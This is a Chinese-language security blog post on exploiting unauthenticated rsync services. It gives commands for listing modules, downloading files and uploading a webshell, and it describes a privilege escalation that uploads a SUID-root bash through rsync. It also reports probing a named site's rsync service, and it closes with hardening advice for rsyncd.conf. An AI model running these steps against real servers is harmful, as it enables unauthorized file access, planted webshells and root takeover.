rsync未授权访问-结合实际试探

Rsync服务结合实战利用

0X00 rsync简介

rsync(remote synchronize)——Linux下实现远程同步功能的软件,能同步更新两处计算机的文件及目录。在同步文件时,可以保持源文件的权限、时间、软硬 链接等附加信息。常被用于在内网进行源代码的分发及同步更新。

通常rsync监听TCP873端口,rsync默认配置文件为/etc/rsyncd.conf,常驻模式启动命令rsync –daemon,启动成功后默认监听于TCP端口873,可通过rsync-daemon及ssh两种方式进行认证。

0x01 实际利用

结合工作上对91b1.com的实际操作来使用:

  1. Nmap扫描目标端口信息,发现TCP873端口开启,尝试进行利用。

rsync可利用点主要为:未授权访问

rsync ip::                 //查看文件目录

列举整个同步目录或指定目录:

  1. rsync 10.0.0.12::
  2. rsync 10.0.0.12::www/ //列出www目录,若存在

下载文件或目录到本地:

rsync -avz 10.0.0.12::www/test.php /root

rsync -avz 10.0.0.12::www/ /var/tmp

上传本地文件到服务端:

rsync -avz webshell.php 10.0.0.12::www/

但在实际利用中,都没那么顺利,使用nmap中rsync-list-modules nes脚本对其目录进行枚举,效果和直接打开“rsync ip::”一样的。

如下图,我们可知91b1.com网站管理者设置了认证配置,且弱口令尝试失败!哎,好坑啊。。弱口令基本上没有成功过~~

0x02 目前公开漏洞信息

在seebug上找到的一些公开使用方式,最新的也是2015年度的弱口令。根据目前所遇到的站,基本上这一条路又是死胡同了。

0x03 rsync基本配置信息

1、认证方式:

rsync默认允许匿名访问,也可在其配置文件中为同步目录添加用户认证相关项,包括认证文件及授权账号,若未包含授权账号行(auth users),则为匿名访问。

https://static-js.b0.upaiyun.com/wp-content/uploads/auto_save_image/2014/10/055219Y7w.png

其用户认证文件内容为明文保存,但该文件权限必须设置为600,普通用户并无读取权限。

https://static-js.b0.upaiyun.com/wp-content/uploads/auto_save_image/2014/10/0552191Yy.png

若认证文件权限设置错误,客户端用户即使口令输入正确,也会出现认证失败的提示信息。

https://static-js.b0.upaiyun.com/wp-content/uploads/auto_save_image/2014/10/0552192q8.png

2、本地提权

由于rsync进程默认以root权限启动,在rsync为匿名访问或存在弱口令前提下,还可利用其在同步文件过程中保持源文件权限的特性,进行本地权限提升。

在本地将bash shell添加suid权限位,并通过rsync上传到服务端。

https://static-js.b0.upaiyun.com/wp-content/uploads/auto_save_image/2014/10/0552195sQ.png

在有普通用户shell权限前提下(通过rsync上传webshell或其他弱口令等漏洞),切换到同步目录,查看上传的shell文件权限不变,运行后即可提升为root权限。

https://static-js.b0.upaiyun.com/wp-content/uploads/auto_save_image/2014/10/055219XzT.png

0x04 安全修复

配置文件解析:

配置文件位置:/etc/rsync.conf,常见配置项

motd file -> motd文件位置

log file -> 日志文件位置

path -> 默认路径位置

use chroot -> 是否限定在该目录下,默认为true,当有软连接时,需要改为fasle,如果为true就限定为模块默认目录

read only -> 只读配置(yes or no)

list=true -> 是否可以列出模块名

uid = root -> 传输使用的用户名

gid = root -> 传输使用的用户组

auth users -> 认证用户名

secrets file=/etc/rsyncd.passwd -> 指定密码文件,如果设定验证用户,这一项必须设置,设定密码权限为400,密码文件/etc/rsyncd.passwd的内容格式为:username:password

hosts allow=192.168.0.101 -> 设置可以允许访问的主机,可以是网段,多个Ip地址用空格隔开

hosts deny 禁止的主机,host的两项可以使用*表任意。

安全配置

1、配置认证用户名或者密码

2、host allow/deny 来控制接入源IP

3、uid和gid,使用足够但最小权限的账号进行

4、必要时候可以配置只读

5、非必要应该仅限制配置路径下可访问

0x05 参考

http://www.91ri.org/11093.html

https://www.cnblogs.com/KevinGeorge/p/9648028.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注